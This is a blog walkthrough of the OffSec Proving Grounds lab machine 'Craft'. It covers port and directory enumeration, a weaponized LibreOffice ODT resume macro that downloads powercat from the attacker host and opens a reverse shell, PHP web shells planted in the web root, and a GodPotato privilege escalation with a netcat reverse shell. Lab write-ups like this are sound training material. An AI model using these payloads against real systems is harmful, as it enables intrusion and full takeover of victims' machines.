Proving Grounds Practice — Craft

Dpsypher
10 min readDec 19, 2023

--

This is an intermediate box on Offsec’s PG Practice but the community has rated the difficulty as ‘Hard’.

https://portal.offsec.com/labs/practice

Start with a Nmap scan:

sudo nmap -Pn -n $IP -sC -sV -p- --open

I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports only.

┌──(kali㉿kali)-[~/offsec-labs/Craft]
└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-18 13:59 EST
Stats: 0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.33% done; ETC: 14:05 (0:05:25 remaining)
Nmap scan report for 192.168.179.169
Host is up (0.082s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7

When the TCP scan finishes, immediately run a UDP scan.

sudo nmap -Pn -n $IP -sU --top-ports=100

Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise.

What do we see with our initial TCP Nmap scan?

Not a lot, only a Windows machine running an Apache web server on port 80 running PHP. That simplifies everything. Let’s start a Gobuster scan.

sudo gobuster dir -w '/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,401,403,404

I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. I get frustrated when I try to run too many threads and the server is unable to keep up with my demands causing copious errors. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404).

Now we can also browse to it. Choosing 42 threads should allow us to poke around without disturbing the scan, if it starts to error out we can always reduce the threads. We see:

A static-looking website template. Lorem ipsum.

At the bottom there are physical and email addresses.

I put these into notes, making sure to add the domain name to our /etc/hosts file.

Most importantly we find upload capability. The company is accepting resumes. This must be our way in.

Let’s check in on Gobuster before I close initial enumeration.

I’m always excited to see an uploads directory. I’ll keep that in mind as I test the upload functionality. First I create a dummy file.

Then I find it in my file system and upload it.

The error message tells is it needs to be an ODT file. I have not heard of that so I check.

There are a few ways this could go. Fundamentally we have to decide whether to try to work with an ODT file or circumvent the filter and somehow get a PHP file on the machine. and hopefully browse to it in the Uploads directory. We do not know if there is a white list or a black list in place. We do not know if the upload logic uses file extension or mime type. We could conceivably use Burp Suite to alter either or both of those attributes during the process. I’m not going to. Instead I’m going to try to work with ODT. I have worked with Microsoft Office to create documents with malicious macros. I’m confident we can do that here as well.

LibreOffice is easy to install if you do not have it. This software is all-around useful so you likely have this already but if not.

sudo apt update

sudo apt install libreoffice

Next we are going to create a fake resume. Open a new document.

That should be enough right? For our purposes a Blank document might be best. Either way save it.

Go to Tools → Macros → Organize Macros → Basic

Select your document, then New, and give it a name.

This will open up a work space. We will embed the following command in our macro. This will simply call back to our machine. It’s a test.

Shell("cmd /c powershell iwr http://192.168.45.154/")
Be sure to save your macro and then your document.

Then go back to the document (Dork-resume), select Tools and Customize.

Select Open Document then Assign Macro…

Select the Macro (Evil) that we created for our document and OK.

Note that the macro is now assigned to the action.

Close it by selecting OK again and save the document (Dork-resume)

Now we set up a netcat listener on port 80. This will tell us if our macro works.

sudo nc -lvnp 80

Go back to the web page and upload the newly created resume.

That’s me! I’m the dork.
Looks good.

We check our listener and after about 10 seconds we get a connection.

Successful RCE

Now it’s time to really weaponize it. Be sure to Remove the the old macro before assigning the new one.

Then alter the macro with a command that will give us a reverse shell. We are going to use the wonderful powershell version of netcat called powercat. The command will reach back to our server for powercat and then execute it. The first part of the command (IEX…) loads powercat into memory and the second part (after the semi-colon) executes the newly loaded program. This is especially powerful because the powercat file never touches the disk.

 Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.154/powercat.ps1');powercat -c 192.168.45.154 -p 135 -e powershell")

The go back Tools → Customize and re-Assign the (Evil) macro.

After everything is saved again, cancel your previous listener and set up a python web sever to host powercat.

python -m http.server 80

Upload your revise resume. We see evidence the first command executed as shown by the retrieval of powercat from our machine.

Then we check our listener.

Viola!

Congrats, you now know how to be a filthy macro-manipulator.

Now that we are on the box, let’s look around a little.

I always start here. Boo no much.

We see that there is another, likely better, user. Apache is a service after all.

Looking at the root directory, the first things I try to identify are items that are not default. In this case, java, Windows10Upgrade, xampp, and output.txt should all be investigated.

Before I really pick at these items, I like to get a read of the environment from Winpeas. Let’s put it on the box.

iwr http://192.168.45.154/winPEASany.exe -outfile winPEASany.exe

Run it. I copy the interesting sections to my notes.

The OS version, processor count (in the event of a race condition), architecture, and Hotfixes can all be important.

It comes back with quite a few vulnerabilities as suggested by Watson. Before I start chasing those down and trying them, I want to finish my initial internal enumeration.

This is again suggesting to me that we should attempt a lateral escalation to the apache user since they are currently logged in. They likely have service level permissions (i.e. SeImpersonatePrivilege).

Apache comes up again along with a generically named service. Could be useful if we can get the ability to stop/start services and can replace the service binary.

This directory really sticks out from our exploration of the root directory earlier. Okay let’s return to the root directory and check it out. In doing so, I realize I have writable access to C:\xampp\htdocs.

This is the root of the web server! There’s our index and upload PHP files. That means this directory is browsable from the outside. Good to know. Let’s create a PHP webshell and verify that PHP execution is performed by apache.

I return to Kali to create the basic web shell.

We can then transfer it to the victim machine.

Now we are able to browse to it and take advantage of the code.

Tada! Well in that case, I’m going to put a complete PHP reverse shell in the HTML root directory as well. I like to use this one for Windows machines:

Set your IP and port appropriately

Pull it over to the victim and set up a listener on your chosen port.

Browse to it like before.

Browser should hang

Check you listener.

We made it! What can we do now?

That’s what we were hoping for. This is a prime set up for the GodPotato escalation path.

First we need to know the >NET framework version.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

Then we move the exploit on the box.

certutil -urlcache -split -f http://192.168.45.154/GodPotato-NET4.exe

Now we test it with something simple.

.\GodPotato-NET4.exe -cmd "whoami"

It works! The end is in sight, we only have to turn this into another reverse shell.

I like to stick with simple programs that work consistently so I’m going to grab the 64bit version of netcat.

Now we will replace a reverse shell payload with the “whoami”, but first I like to test the payload on its own before I run it through GodPotato.

.\nc64.exe 192.168.45.154 80  -e c:\windows\system32\cmd.exe

It works, so all together the payload command is:

.\GodPotato-NET4.exe -cmd ".\nc64.exe 192.168.45.154 80  -e c:\windows\system32\cmd.exe"

Going back to the listener to see the connection.

Whoami does not work but we can navigate to the flag.

Best practice is to save a screenshot with all this data in it.

Thanks again to everyone for reading. I would be amiss if I did not mention that S1REN does an excellent walkthrough of this machine on YouTube.

--

--

Dpsypher

Google IT Support/CompTIA A+, CompTIA Security+, IBM Security Analyst, AWS Cloud Practitioner, CCNA, CEH: Master, OSCP (93% in class, practicing for test)